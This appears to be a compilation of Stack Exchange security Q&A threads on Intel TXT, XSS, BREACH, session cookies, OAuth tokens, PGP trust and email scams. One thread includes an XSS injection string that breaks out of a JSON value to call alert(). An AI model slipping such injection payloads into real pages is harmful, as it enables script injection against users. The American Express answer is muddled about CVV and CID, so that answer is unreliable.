What prevents the Intel TXT boot loader from being maliciously altered? From my understanding of Intel TXT, the technology can be used to put the processor in a trusted state where measurements can be performed. My understanding looks something like this, where I believe TBoot is typically used to launch SINIT. However   such that SINIT is not called and the OS is brought up in a miscellaneous state?
Is this a real security Threat?

Briefly, no.

There's a lot of problem with this diagram so I'll start by trying to clear things up before talking about your question.

SRTM ~ the left part of your diagram

The diagram propose the AC module would measure the processor which isn't right. The BIOS CRTM (Bios Boot Block) is executed by the CPU and used to measure the BIOS firmware. Then, it will return the result of the measurement (SHA1 hash) back to the TPM, not to the BIOS. Afterward, execution is passed to the BIOS firmware.  The same is done for the next element in the boot process. See this for more info.

DRTM ~ the right part of your diagram

Again, the same comments applies. The SINIT AC Module does not measure the processor. Once a secure CPU contained environment is created, the module signature is validated and its identity is sent to the TPM (PCR 17), then it measure the Measured Launch Environment (MLE) and send the result to the TPM (PCR 18).

Both are providing the same thing: a means by which we can measures the running environment (i.e. Root of Trust for Measurements). Technically speaking this means sending measurements in the TPM's Platform Configuration Registers (PCRs) - mainly PCR0 for SRTM and PCR17 for DRTM. Still, we haven't done anything with those measurements.

Ok, now the question.

Briefly, a malicious user can always choose not to trigger a Late Launch/DRTM (TXT's senter operation) but the whole point is that the TPM's PCRs won't have the proper values hence some elements (e.g. keys) won't be accessible. Let me explain:

In the case of tboot boot loader, the Launch Control Policy (stored within the TPM NVRAM) defines which MLE and SINIT module can be loaded (and optionally BIOS, i.e. PCONF). A TXT Reset is triggered whenever the policy is not satisfied. The result of this reset is being unable to perform a Late Launch until the system is restarted. Not being able to perform a Late Launch doesn't prevent someone from using the system - it doesn't stop the boot process or the system by itself. However, it does prevent someone from accessing Locality 2 of the TPM. Locality 2 is necessary to extend PCR 19-22 (and any keys, TPM NVRAM and other resources tied to Locality 2).

What's important to understand here is that Late Launch is not enforcing anything, it's simply providing a means by which measurements are taken and stored in the TPM. Then and only then can we enforce different actions. E.g. if the goal is to build disk encryption, the Operating System could be encrypted with a key SEALed to specific PCRs (17-22) which match the desired/trusted operating system. Now here's the important part: if the proper environment has not been loaded (e.g. a malicious user changed the boot loader, did not triggered a Late Launch) the PCRs values won't match hence the key to decrypt the Operating System will be inaccessible (UNSEAL won't work).

In other words, PCRs values reflects the running environment. The SEAL operation uses those values as keys to encrypt data. If the proper environment is not loaded (PCRs are different) the TPM can't decrypt the data (UNSEAL).

You might want to look at ITL's Anti-Evil-Mail.

Hope this is clearer.


What is the risk of cross site scripting if I embed javascript into a website What is the risk of cross site scripting, if I embed javascript into a website? Quite simply, I am using a 'site builder', and they don't allow rotating images, but they allow you to embed code... So I thought I would do that. My site doesn't have a database or anything, the 'site builder' site may have... Is there a risk?

You embedding javascript probably won't be an issue, unless you somehow embed functionality that allows for cross site scripting (your javascript would need to accept some input from the client or and display it on the page - or other dynamic data, like something delivered to your app as part of an API call).  Other than that, you are the one putting the javascript in there, so I would assume you have vetted it.

I would be more concerned about the site building software that you are using. If you provide the name perhaps we could look for known vulnerabilities.

If the site you are building either stores user input (in a database for instance) insecurly and then displays it again it could be vulnerable to XSS.

Also if it reflects user input that could also be used for XSS.  By reflect I mean it takes some user input and insecurely renders it to the screen immediately without storing it on the server side.  On example would be if the following URL:

http://mysite.com/account/confirm?email=myemail@email.com

output:

  Thanks for confirming your account with the email: myemail@email.com!


BREACH - a new attack against HTTP. What can be done? Following on from CRIME, now we have BREACH to be presented at Black Hat in Las Vegas Thursday (today). From the linked article, it suggests that this attack against compression will not be as simple to turn off as was done to deter CRIME. What can be done to mitigate this latest assault against HTTP?

EDIT: The presenters of BREACH have put up a website with further details. The listed mitigations are:

Disabling HTTP compression
Separating secrets from user input
Randomizing secrets per request
Masking secrets
Protecting vulnerable pages with CSRF
Length hiding
Rate-limiting requests

(note - also edited title and original question to clarify this attack is against HTTP which may be encrypted, not HTTPS specifically)

Though the article is not full of details, we can infer a few things:

Attack uses compression with the same general principle as CRIME: the attacker can make a target system compress a sequence of characters which includes both a secret value (that the attacker tries to guess) and some characters that the attacker can choose. That's a chosen plaintext attack. The compressed length will depend on whether the attacker's string "looks like" the secret or not. The compressed length leaks through SSL encryption, because encryption hides contents, not length.
The article specifically speaks of "any secret that's [...] located in the body". So we are talking about HTTP-level compression, not SSL-level compression. HTTP compression applies on the request body only, not the header. So secrets in the header, in particular cookie values, are safe from that one.
Since there are "probe requests", then the attack requires some malicious code in the client browser; the attacker must also observe the encrypted bytes on the network, and coordinate both elements. This is the same setup as for CRIME and BEAST.
It is unclear (from the article alone, which is all I have right now to discuss on) whether the compressed body is one from the client or from the server. "Probe request" are certainly sent by the client (on behalf of the attacker) but responses from the server may include part of that which is sent in the request, so the "chosen plaintext attack" can work both ways.

In any case, "BREACH" looks like an attack methodology which needs to be adapted to the specific case of a target site. In that sense, it is not new at all; it was already "well-known" that compression leaks information and there was no reason to believe that HTTP-level compression was magically immune. Heck, it was discussed right here last year. It is a good thing, however, that some people go the extra mile to show working demonstrations because otherwise flaws would never be fixed. For instance, padding oracle attacks against CBC had been described and even prototyped in 2002, but it took an actual demo against ASP in 2010 to convince Microsoft that the danger was real. Similarly for BEAST in 2011 (the need for unpredictable IV for CBC mode was known since 2002 as well) and CRIME in 2012; BREACH is more "CRIME II": one more layer of pedagogy to strike down the unbelievers.

Unfortunately, a lot of people will get it wrong and believe it to be an attack against SSL, which it is not. It has nothing to do with SSL, really. It is an attack which forces an information leak through a low-bandwidth data channel, the data length, that SSL has never covered, and never claimed to cover.

The one-line executive summary is that thou shalt not compress.


Why is the American Express 4-digit security code located on the front of the card? Credit cards issued by American Express have two security codes, a 3-digit one and a 4-digit one:

These two security codes aren't embossed so that if a physical impression of the card details has to be made when processing a transaction the security codes aren't recorded.

Why is the American Express 4-digit security code on the front of the card, whereas other cards I am aware of (e.g., Diners Club, Discover, JCB, MasterCard, and Visa credit and debit cards) place it at the back? I would have guessed that placing it at the front makes it more visible, i.e. less secure.

They're 2 different security codes for cards. Amex has 2 levels of security: they have the normal CVV (Card Verification Value) and the 3 digits are a CID . CVV is a calculated highly secure 4 digit code based on your card number that is not contained in the card magnetic strip, which is the reason why it's printed on the card itself.

  If someone were to take your magnetic strip or print your card. It would not contain your CVV or CID, so it could not be used for card not present transactions or most high-end merchants, which require CVV, CVV2, or CID as a form of further verification that the card is indeed there.

  CID (Card Identification Data) on the back of the card is similar to Visa/MC/Discover. It's a 3 digit number that again is not stored on the card magnetic strip and is not visible on the front of the card, but again ensures that the card is in your possession at that the numbers have been not tampered with.

  CVV and CID verification process of card numbers is not published or available for many, many reasons, so I have no idea how they verify your card number, but they do somehow.

  To get to your question why does Amex ask for those 3 digits?
  Because they can.

  They require most merchants these days to verify the CVV before processing payment, but for their measures of security they verify the CVV and CID. I think most of us who have had the card for many years memorize the CVV, but I couldn't for the life of me memorize the CID, so that could be the reason to.

Source


Protect session id without SSL - Accepted answer on Stack Overflow seems wrong? I'm learning more about security and in my search also using Google Search I found the following question and answer on Stack Overflow:

https://stackoverflow.com/questions/5459682/how-to-protect-session-id-and-cookies-without-using-ssl-https

  So, to set it up, you'd create a server key k. Then, you'd create the
  cookie as follows:

  keyhmac = HMAC(user name + expiration time, k)
  encrypted = ENCRYPT(data, keyhmac)
  hmacenc = HMAC(user name + expiration time + data + session identifier, keyhmac)
  cookie = user name + expiration time + encrypted + hmacenc;

  Then, you can decrypt it later by using the reverse process. The HMAC
  verifies that it was not tampered with outside your server (assuming
  that k is really secret)...

  The fact that it includes a session identifier (SSL is best, but IP
  can possibly serve) means that it's immune to replay attacks or
  hijacking attacks.

I don't see how this is secure in any way? If I send the server the same cookie it will accept it. Yes, he talks about using the IP address as a session identifier, but that has its own problems. Besides that, I can easily store the IP address per session id on the server without this whole encryption scheme and get exactly the same level of security, for example, based on IP address? Or am I missing something?

What this answer is about is client-side storage.

The first premise is that all of this occurs in a SSL session, so this won't be intercepted by third parties. The remaining attacker, if any, is the user himself. In particular, only the actual user can send back the cookie value to the server.

Then the server wants to manage sessions, i.e. consider successive requests from the same client to be part of a whole "story". This implies that the server must remember session information from one request to the next.

Server-side memory implies two main issues:

The amount of storage on the server can grow quite high. Indeed, successive requests from a given client can occur with a rather large delay in-between (minutes, even hours or more). Also, a given client may stop sending requests altogether, and the server won't be warned about it. So on a busy server, we are talking about saving tens of thousands or more of "session information" objects. This can translate to a non-negligible number of megabytes of RAM.
If the server is multi-frontends, the user session information has to be shared between the frontends, which implies some extra communication, often with a shared database, which in turn can imply performance issues (a database is not as fast as pure local RAM).

So it would be neat if the user session information could be stored on the client himself. This is what this cookie+encryption+MAC scheme is about. The server packs what it wants to remember about a user session into a blob which is sent to the client; it is then up to the client to send it back with the next request. The server does not store anything on its side. This scales nicely to millions of users and dozens of frontends, since the server does not have to remember anything. It implies, however, its own challenges:

Since the data is stored on the client, the client may inspect it, which is not necessarily a good thing. Encryption solves that.
Since the data is stored on the client, the client may modify it, which is not necessarily a good thing. MAC solves that.
Since the server remembers nothing, it cannot prevent replay attacks where the client sends an old cookie value again. Including a date (under the protection of the MAC) mitigates this problem.
Cookie size is traditionally limited to about 4 kilobytes, so the server won't be able to make the client store much more data than that (well, the server could send several cookies, but reassembly becomes hard, especially if you want to do it securely).

The user name, SSL session identifier, or IP address, is just a non-secret identifier which is meant to prevent different users from swapping their cookies, voluntarily or not. For that matter, IP address is not a good identifier, because several users may share the same IP (in case of NAT or use of a Web proxy) and a given user's IP address may change (dynamic IP are not uncommon).

Now the specific scheme explained in the SO answer can be questionable; e.g. it applies the MAC on the cleartext data, not on the encrypted data, which is known to have potential issues: this is known as "encrypt-and-MAC". The potential problems can be avoided, but this requires some extra care in the implementation, so "encrypt-then-MAC" should be preferred. The reuse of the same key for the encryption and the MAC is also, generically speaking, a bad move; though it seems safe enough when the MAC is HMAC and the encryption uses some block cipher, we really prefer it when the two keys are somehow isolated from each other. A modern and more obviously secure way to do encryption and MAC would be to use one of the encryption modes which have been designed to do exactly that, e.g. GCM or EAX.

The idea is still sound (as long as all this occurs under the protection of SSL). The main remaining issue is dealing with replay attacks, which, depending on the application, may or may not be serious; the inclusion of the date in the cookie data allows the server to enforce an explicit expiration strategy to control this issue.


List of common website endings/pages for enumeration? I am currently building a Python-based OSINT tool that allows a user to crawl a supplied domain for pages using traditional scraping/spider methods, but I also want to have the option to 'brute force' common pages for web applications and attempt to continue the crawl based on found results. For instance, I want the user to be able to supply a domain name (example.com) and then once it exhausts the links found on the main site, I want it to systematically try a predefined list of known/common pages that exist (example.com/wp-login.php, example.com/admin.php, etc...) and then use any found pages from that brute force to continue its crawl.

I know that NMap has something similar to this with the http-enum nse script. However, I took a look at the raw .nse file and it doesn't seem to be pulling from a list, rather its constructing the links in another way (not strong enough with nse to know how). Does anyone know if a list exists of common pages that I might be able to feed into my program? I feel like this would fall under "Google Dork" territory? Even something like the "top 100" would be good.

I know that this would be noisy but I plan to give users control over how aggressive they want the scan to be.

Thanks in advance!

I believe the kind of tool you are looking for is called a "web fuzzer." A quick search turned up an open source tool called wfuzz, which contains a folder called wordlist which has lists that seem to be pretty close to what you describe.


Where to store pydrive secret? Backstory: been toying with the idea of setting up some raspberry pi cctv cameras. originally I was going to store all footage for 31 days (complying with DPA) on a network drive but decided against that as if there was a major incident at my property the drive might get stolen/damaged.

So I thought I could upload footage to my google drive and then just have another script run and remove any old footage. I stumbled on pydrive and thought excellent, I'm fairly experienced with python so happy to knock up something.

The problem is the line:

  The downloaded file has all authentication information of your application. Rename the file to “client_secrets.json” and place it in your working directory.

I have very limited knowledge of oauth2 and token use in general, I believe I understand access keys such as ssh or pki.

As these will be stored locally on raspberry pi zero, I am concerned that if I were to be burgled they may stuff it in their bag and then if savvy enough might comb through it and find access to my google drive account.

Should I be concerned with this type of token?
Where should I store it?
How should I secure the Raspberry Pi for this scenario?

If the Raspberry Pi needs access to your google drive to store your video feed then, well, that means that your Raspberry Pi needs access to your google drive and therefore anyone who gains access to your Raspberry Pi may gain access to your google drive.  It's not possible to both allow your application to directly upload to your drive and also not allow an attacker to upload to your drive if they gain control of your application.

However, all is not lost.  Many modern app ecosystems (including google) are designed for exactly this sort of thing.  However it helps to understand how authentication works and what exactly you are doing.

OAuth Client ID

pydrive doesn't have you create access credentials for directly accessing google drive.  Instead, it has you create an OAuth Client ID.  In essence, this means that you are registering an "app" with Google (although not in the sense of a literal app on the Play Store).  This Client ID does not actually give pydrive access to your account.  Instead it simply registers you as the owner of this "app".

To actually access your account, pydrive directs you through a login process locally where pydrive will request access to your account from google.  This happens through a web browser (which is why pydrive mentions a webserver).
 Google will then ask if you want to give pydrive access to your account, and when you approve, Google will give pydrive a separate set of access credentials that give it actual access to your drive.

From then on your pydrive application should show up in your Google account under the list of apps with access to your account.  You should be able to see that on this page, presumably under whatever application name you provided to Google when you created the OAuth Client ID.

Stolen Credentials

In the event that your pi gets stolen, it would theoretically be possible for an attacker to dump the drive contents and find the spot where pydrive stored the actual account credentials it uses, and then use those to gain access to your account (although with whatever privileges you gave to pydrive - not your full google account).

Fortunately if that were to happen the solution would be simple.  Login to your Google account in any browser, go to that list of apps with access to your account, and logout pydrive.  Even with the OAuth Client ID still available, an attacker won't be able to get back into your account without first login into Google you with your email and password, which they obviously don't.

You would also be able to go back to the APIs section of Google, find the OAuth Client ID you generated, and revoke it as well.  At that point in time the attacker will have nothing.

Summary

So is there a window of time when an attacker with a stolen Raspberry Pi might be able to access the Google Drive credentials and cause problems?  Yes.  However, this window of time can be very short in practice, because presumably you will know if your Pi is stolen and will be able to immediately log out the Pi remotely, preventing any further access.


EU standardized digital signature for form-data Problem

I am trying to identify if there are any standards (accepted by the EU) regarding client-side digitally signing the form-data before it is submitted.

So the constraints are:

know standard
accepted by the EU
client-side (we need proof of origin not tamper-proofing)
javascript based and/or browser plugin based (any language)
can work with web-forms related content (k/v pairs of data)
the output of the process should be machine readable (ex.: form-urlenc, JSON, bson, msgpack)
the output format should not have ambiguity issues (meaning not bloody XML*, maybe not form-urlenc either)

My read-up on the subject so far

XMLDSIG is bad since XML can be canonicalized a zillion different ways making the signature not valid or worse an attached XSD or XSLT (or even CSS) can alter the visible rendering (depending on visualisation tool) of the data content meaning it can alter its meaning exposing users to possible scams.

PAdES is already being used in our public administration and our project scope might cover having to build PDF files with embedded forms and digital signature.

PGP/GPG or S/MIME could be a valid contender for the role but idk if they're officially recognized or standardize by EU laws. On the other hand both of these carry their signatures appended to the data.

Background:

I'm doing research for a government project (in Romania) trying to implement digital signatures over simple web-forms.

I know Estonia, Belgium, France and Germany already have similar systems in place for electronic identity cards and hardware digital signature of documents as well as some frameworks/tools they use (ex.: hwcrypto.js).

But I'd like to understand their full process, for example do they digitally sign entire documents or just some raw data in a machine readable format (as described above).

Do they require electronic ID cards or can it be used with a certificate file you have on disk.

Digital signature in EU is ruled by REGULATION No 910/2014 on electronic identification and trust services. It is directly applicable in all territories without transposition
You will not found any reference to standards about format or technology, but acomplishment will require:

X509 digital certificates issued by a qualified trust service provider.  Must be present in EU trusted list(TSL)
XAdES, CAdES, PAdES or ASiCs format for interoperability between public administrations

Digital certificates in browser
Certificates are issued to users in software files or cryptographics tokens (ID card). This is the biggest obstacle. Due to Java restrictions on browsers, you can not use the OS native Key Store (check this and this)
There are some alternatives

Use WebCryptographyApi to load certificate. See https://stackoverflow.com/questions/36018233/how-to-load-a-pkcs12-digital-certificate-with-javascript-webcrypto-api

Use chrome messaging api (Estonia). See https://stackoverflow.com/a/29806091/6371459

Use a local application connected through javascript (Spain) See https://stackoverflow.com/a/38658414/6371459

AdES format
This is not a derived requirement of regulation 910/2014, but eGoverment use to have additional legislation for interoperability. This is not mandatory on private business
ETSI XAdES, CAdES and PAdES are not suitable for web environments. Known libraries like forge or pkijs do not support it. XAdES is based on XMLDsig (you have defined it...) and CAdES/PAdES use ASN.1 binary encoding.
Unfortunately JWS(JsonWebSignature) still does not have a standard AdES of ETSI.
On web & mobile devices is used a technique called 'three steps signature' to avoid move the complex digital signature libraries to the device.

Prepare hash to sign on server using user's public certificate and the data to sign (a document or the form data)

Sign hash on client side

Complete the signature format on server

Only the second step is performed on client side. The SD-DSS european framework (opensource) provides to administrations a complete digital signature framework, including support to TSL, signature and verification


PKCS#11 session object security The CKA_TOKEN attribute identifies whether the object is a token
  object or a session object.

We can believe that when the PKCS#11 object has CKA_TOKEN attribute set to true, then it is securely stored inside memory of PKCS#11 enabled device. For example secret AES key, especially when it is not extractable.

What about session keys and their security?

  When a session is closed, all session objects created by the session
  are destroyed automatically, even if the application has other
  sessions “using” the objects.

So anyone able to eavesdrop my session will be able to see the clear-text value of my secret key? For example when I would like to translate key between two end points, it has to be unwrapped and wrapped with different key, meaning it should be somewhere in session in clear-text for some short time. Is it in system memory? Or is it somehow secured?

Physical storage characteristics are not part of the definition of PKCS#11. PKCS#11 is an API: it defines the behaviour of the library with regards to function calls, not with regards to actual technology. A purely software PKCS#11 library, with all keys in RAM, is perfectly possible (and that's exactly what the Firefox Web browser is using internally).

With CKA_TOKEN enabled, the key is supposed to be permanent, i.e. you will find it back after opening a new session. It does not necessarily entail any kind of protection, either while being used or while stored. There is another attribute that is called CKA_EXPORTABLE, that declares whether the key may be exported or not; but, there again, it does not qualify attacks, only what you will get if you call the export function. Depending on how the PKCS#11 library is implemented, all keys may float in RAM at some point.

If you want to know where exactly your key will be, then you will have to look at the documentation for the device or system for which you have a PKCS#11 library. If the device is a HSM and the HSM documentation guarantees that private keys stored in the HSM never leave it, then you know that they won't be copied in the RAM of the PC -- not because of any PKCS#11-related attribute, but because the HSM makes it so. The PKCS#11 library is merely a consumer of the HSM services.

That being said, it is possible to make some inferences. For instance, if your crypto device is a smart card, then its I/O capabilities are very limited (9600 bauds is typical) so chances are that any bulk encryption (AES) provided by the PKCS#11 API would be handled in software, so your secret unwrapped AES key would really be somewhere in the RAM of the PC.


Do any cloud storage system offer an append-only mode for buckets, directories, etc.? I'm curious what cloud storage systems offer an append only mode, especially open source ones.  In particular, would any cloud storage systems support the following workflow :

Anonymous users may upload messages/files into identifiable locations which we'll call buckets.
All users should have read access to all messages/files, but no anonymous user should have permissions to modify or delete them.
Buckets have associated public keys which a moderator uses to authenticate approvals or deletions of uploads.
Unapproved messages/files are eventually culled by the system to save space.

There was some discussion about adding append-only access to mutable files (append-caps) to Tahoe-LAFS, but afaik nobody has implemented this yet.

I don't know of any system that already implements this, but it should be pretty straightforward to build it yourself on top of existing cloud providers.  You just need to implement the logic to perform the append, read, and moderator operations.  If you implement the logic yourself, the backing store could be any existing cloud storage system.

If you also want a way to audit the storage system and (partially) verify its correct operation, you could use various cryptographic techniques.  For instance, you could use timestamping and hash chaining methods to enforce the append-only requirement (while nothing can prevent violations of the append-only requirement, timestamping methods offer a way that clients can potentially detect any violations that may occur).  Roughly speaking, timestamping methods work as follows: each message includes a hash of the state of the bucket at the time the message was appended to the bucket, and clients remember the latest bucket-hash they've seen.  This lets clients efficiently verify that nothing was removed from the bucket compared to the last time they queried its bucket-hash.

P.S. I'm not sure what the last requirement relating to "unapproved messages/files" refers to.  I didn't see where you explained how approval works, so I don't know whether there are any ways to externally audit the storage provider's correct implementation of approval functionality.


XSS in script tags application/json - possible? Is there way to execute alert box if " is not correctly escaped and can be injected in example below?
<script type="application/json">{"requests":{"postClicked":"https://google.com"}</script>

injection:
<script type="application/json">{"requests":{"postClicked":"injection"}here"-alert()-"}</script>

I have tried several ways to break the string, but still failing to execute alert box.

No but maybe.
You cannot directly execute JavaScript inside an application/json script tag, because the browser will not treat anything inside the tag as JavaScript.  It is (unfortunately for you) that simple.  Unless you can close the script tag and open a new one, there is no direct XSS here.
However injecting JSON data into a page like that is useless by itself.  It only happens because the page will read the data from JSON and use it elsewhere.  If by chance you can figure out when and where that gets used and find some improper data usage, then you may find a vulnerability yet.  For reference here is an example of some vulnerable code with a simple alert demo.


Are downloads from http connections safe? When downloading a file is there a safety concern when downloading from http connections/websites not https?

Yes, there are plenty of security concerns with downloading over unencrypted lines.

But if you must download content over unencrypted http, as is still done for some package repos, you need at least to verify the file you download in some other way.

The most common way is to use a hash, downloaded over a trusted channel (https, usually) or which is signed by someone you trust.

In either case, you must take care to verify that the file you have the hash for is the specific file you wanted, not just any file ever produced by the trusted source.  This is to avoid certain attack, such as where a "man in the middle" replaces the latest version of the application you want, with an older one (but issued with a hash signed by the correct source) known to be vulnerable.


Can Windows malware harm a Linux computer when it's executed with Wine? I am an (Ubuntu) Linux user. Sometimes, I have to use Wine for running Windows executables.

I would like to know if Windows malware (virus, trojan, worm,...), i.e. malware that was not intended to do harm when being executed with Wine on Linux, can do harm to my Linux system. I use a standard Wine installation. Wine is never executed as a superuser.

I guess it could read/write/delete files from my folder, and connect with the Internet.

I think, but I'm not quite sure, that it can't install software. Could it install harmful (Firefox) plugins?

You are right about accessing the file system and internet, especially because the home folder is mapped with write permission by default. This implies that it can mess with your documents as well, for example adding macros to Open Office documents, deleting your mp3 files or sending interesting files to someone on the internet.

And yes, it can write to your Firefox profile and install an Addon.

Connecting to the internet means, that it can fetch commands from a C&C server to turn your computer into a drone.

I guess some maleware will fail to find those locations outside the standard windows folders. But other will just scan all drives for interesting places.


Tor: requesting a tor website When you have a website that's hosted within the Tor network and one accesses this website with a Tor browser, does this person still use an exit-node ?

Or will this be an encrypted connection between the server and the client's browser?

(I'm talking about the Tor encryption that's used, so intermediary nodes can't decrypt traffic)

I want to know when surfing to a Tor website if traffic still passes through a random exit node ( like when not surfing to a tor website)  or not.

Any documentation on this is highly appreciated as well.

All traffic happens within the TOR network, and there is no normal exit-node involved.

There is a node serving as rendevouz point, where your circuit, and the circuit of the hidden service meet. But the messages itself are end-to-end encrypted, so unlike an exit-node(used with an unencrypted protocol such as http), it can't listen in on your communication.

For a detailed description of how TOR hidden services work, check: Tor: Hidden Service Protocol


Validity, Owner Trust, Trust Signatures & Certification Level Two questions on signatures.

I am trying to understand the various types of "trust signature".  The man page says, "For more information please read the sections “Trust Signature” and “Regular Expression” in RFC-4880."  Rather than go to the RFC, maybe someone could help with these basics.
We have these choices when running --edit-key ... tsign:
1. Trust Marginally
2. Trust Fully         << Selecting 2. leads to two more choices:

Please enter the depth of this trust signature
A depth greater than 1 allows the key you are signing to make trust signatures on your behalf.

Please enter a domain to restrict this signature, or enter for none.

a. The choice of Full or Marginal Trust is described in this post on the OpenPGP trust model.  I have also read the distinction between Owner Trust and Signature Trust.  I am still unclear of the significance of "depth" beyond 2, or how high this might go.
b. I am also unclear about the notion of a "domain" to restrict signatures.  The man page says regarding tsign, "It is generally only useful in distinct communities or groups."  Could someone give an example?  Outside of this, should trust signatures be ignored?
c. In answer to a previous question, @jens-erat is saying, "Although trust is a kind of signature on other keys, it does not get distributed when uploading keys to key servers."  What then is the distinction between trust signatures and local trust signatures?  Are all trust signatures part of my building my personal Web of Trust, or are some shared and exported to keyservers, like the distinctions between various --default-cert-level's?

When might we use a non-revokable signature? (nrsign, tnrsign, lnrsign, etc.)

When cross-signing two keys as I've described here and here, one a master certifying key to be kept offline and the other a master certifying key to be kept on the laptop, I believe I would certify ("sign") each other using --default-cert-level 3 and as fully trusted.  I am not clear what depth I should use, though it should be 2 or higher.  I am also wondering if one or both of these certifications should be non-revocable to show permanent ownership.

There are multiple notions of "trust" in PGP, which I've had to disentagle.  Here is what I found ...
The issue we must deal with when considering using a key for communication, is whether that key is "valid".  Meaning, does the person controlling the secret part of a key, legitimately own the identities listed on the key - ie. name, email address, jabber address, etc.  The keys of people who we know, who we communicate with already and give us their keys directly, are automatically valid.  But what of people we don't have this kind of direct contact with, but with whom we want to communicate?  We find a key purporting to be from them, perhaps on a keyserver or communicated to us by someone who claims to be or know them.  Is it really owned by them ("valid")?
To try to get some handle on this, pgp institutes a system of attestation, called "certification" (colloquially, "signatures").  When I certify a key, using my own, I attest, "Yes, I know this to be a valid key; ie owned by the person whose name is listed and who controls the listed email address."  When I find a key that purports to be from someone with whom I want to communicate, I can look at the certifications.  Maybe among those signatures is a key owned by someone I know.  Or maybe among them there is a key owned by some public personage, who has his own key on his website and is in a position to know the person with whom I want to communicate.  By this means, I can try to work out how likely it is that I have a valid key.
PGP attempts to help with this validation procedure in various ways.  The first is encoded in the certifications themselves, which are carried along with the key I'm trying to validate.  When certifying a key, the "--default-certification-level" can be set to 0 or 1-3.  These indicate various levels of certainty by the signing party, in the validity of the key.  Level 0 means that no claim is made about how certain we are, while 1, 2, 3 are progressively higher levels of certainty: from basic belief, to extensive verification.
PGP's second means of supporting our attempts at validation, is to operationalize a notion of "owner trust."  That is, I have the keys of various friends.  I sign those keys as valid, but when it comes to the signatures my friends place on the keys of people that they know (but I do not), I may put in each friend a different belief in their care regarding validation of those keys.  Perhaps one friend only signs keys of people they know very well.  Perhaps another may meet people at "signing parties," do a perfunctory check of an ID (perhaps checking for that person's control of the key's email address or not), and then agree to sign the key.  Among these various friends I have a private notion of how much I trust their diligence.  I encode this trust level in a private database that is kept with my pgp certificate ("key") using the --edit-key <fpr> trust command to gpg.  I can associate that friend's key with a trust level of "full", "marginal", "untrusted", "unknown".  My own key is given "ultimate" trust.  This is called "owner trust", a codification of how much I trust the diligence of the owner of the key.  Using these values, PGP can then calculate a level of validity (called a "calculated validity" or also, confusingly, a "trust value") for keys that I have not signed, but which may have been signed by others that I know to be valid: eg. my friends or those public personages mentioned before.  The parameters used for this calculation are subject to user control (see --trust-model), but typically, any key signed by a fully trusted key is valid and any key signed by three marginally trusted keys is also valid.  A key with signatures by less than three marginally trusted keys is "marginally valid", and a key with no signatures has "unknown validity."  This is known as the "classical trust model."
Note that this mode of calculating a level of validity / "trust value" interfaces to the first described validation procedure through the option --min-cert-level, defaulting to 2, which discards signatures with certification level below that value (ie. 1 is discarded, but NB: 0 is kept).
The third means of supporting attempts at validation is the system of trust signatures, via --edit-key <fpr> tsign.  As opposed to "owner trust", "Trust Signatures" are public certifications that attest to a certain "depth" of trust by the signing party.  A trust signature of depth 1 is similar to a standard certification in which I am attesting to the validity of the key.  A trust signature of depth 2, on the other hand, announced not only my attestation of validity, but it also makes a proclamation that is equivalent to "full trust" in the "owner trust" model.  That is, I am publicly stating that I give validity to any key signed by this key.  In the trust signature model, a key with signature of depth 2 is called a "Trusted Introducer." I am accepting the validity of keys at one remove.  Offering a trust signature of depth 3 goes beyond the "owner trust" model, publicly declaring that not only do I give full validity to any key signed by this key, but I also fully trust them, giving validity to any key signed by those.  ie. I am accepting the validity of keys at two remove.  This is called in this system a "Meta-Introducer."  Depth can go to any level.
This notion of trust is typically used in organizations for delegation of authority.  As such, it is usually associated with a "domain", within which authority is being extended.  That domain may typically be a website of a company, and validity would only be conferred by trusted meta/introducers to UID's within that domain.  Such signatures can be revocable or non-revocable.  They can also be "local."  That is, very much like the classical trust model, kept private even when keys are shared.  I suppose this is a kind of secret delegation of certifying authority.

Monkeysphere has an excellent reference on OpenPGP Trust Models (on both classic & trust signatures)
But note the error:  Trust level 1 actually just means validity.  Trust level 2 is "full trust" (in an owner trust system where the signature by one fully trusted key confers validity) aka "Introducer".  Trust level 3 means I fully trust anyone that this person fully trusts, aka "Meta-Introducer".
A PGP whitepaper on trust signatures as a more flexible form of certificate authority.
Some discussion about trust signatures from the gnupg e-list:
Questions about trust signatures
The "pgp" trust model: the relationship    between classic ownertrust designation and trust signatures
Multiple trust signatures

Regarding my issue of cross-certification of keys mentioned at the end of my question, I see that within a certificate keys are cross signed using --default-cert-level 3.  That would probably be sufficient, but to get my trust model to work properly, I would either have to make sure to set each key to "ultimate" trust in the owner-trust model, or use the (offline) master certifying key to give a trust signature of depth 2 to the sub-master certifying key.  The latter could give a non-revocable trust signature of the same depth in return.  This would be like setting up the master certifying key as a certificate authority (see that PGP whitepaper).


Is this "Domain Registration Service" email a scam? I received an email to the email address listed on our website (it's a generic info@ourcompany.com to help "weed out" spam, whereas each employee has something like andreas@ourcompany.com to which I manually forward any "real" email that comes in through the website.)

I received the following email (with actual names replaced with placeholders):

  Dear Sir,

  We are the department of Asian Domain Registration Service in China. I have something to confirm with you. We formally received an application on April 14, 2014 that a company which self-styled "Some Other Corp. Ltd.". were applying to register some "ourcompany" Asian countries top-level domain names.

  Now we are handling this registration, and after our initial checking, we found the name were similar to your company's, so we need to check with you whether your company has authorized that company to register these names. If you authorized this, we will finish the registration at once. If you did not authorize, please let us know within 7 workdays, so that we will handle this issue better.

  Best Regards,
  Some Fake Person

The email is "plain" (no attachments, no embedded images, just some basic HTML), the email address is "normal" and not consisting of random characters.

Is this a common email scam; and if so, what is their motive?

Yes, this email is a scam. Ignore it!

I work at a major web hosting firm, and our customers receive these emails on a frequent basis. There are a number of characteristics that are visible from this perspective which confirm that they are a scam:

The emails are never sent by a recognizable, reputable domain registrar. Most of them use generic names, such as "Asian Domain Registration Service" in your email, "China domain registration center", or the like. The emails never have senders, headers, or signatures which explicitly link them with a registrar, and there is usually not even any accredited registrar with the right name.
The domain registrations are never being made by a recognizable company or organization. You've obscured the relevant name as "Some Other Corp, Ltd" here, but the names are often generic ("Foo Trading Co") or incomprehensible ("FANGSHI Co"). Attempts to identify or contact them are never successful (or find only unrelated companies).
They are frequently sent in relation to a domain name which would be meaningless under an Asian top-level domain. Many of them involve domain names containing names of people or locations — for example, these types of emails might claim that a Chinese trading company is attempting to register the domain "johndoe-hardware.hk" or "newyork-blahblah.asia". There is no apparent logic to these registrations.
Despite supposedly coming from many different registrars, these emails always follow a very similar format. There are multiple templates, so the wording can vary, but the formula is always precisely the same. In particular, the domain names being registered are ALWAYS only under "Asian" TLDs (typically .asia, .cn, .hk, .tw, and .in), never under any other TLDs. Additionally, many of these emails also claim that the bundle includes an "Internet keyword" or "Internet trademark", which doesn't even exist.

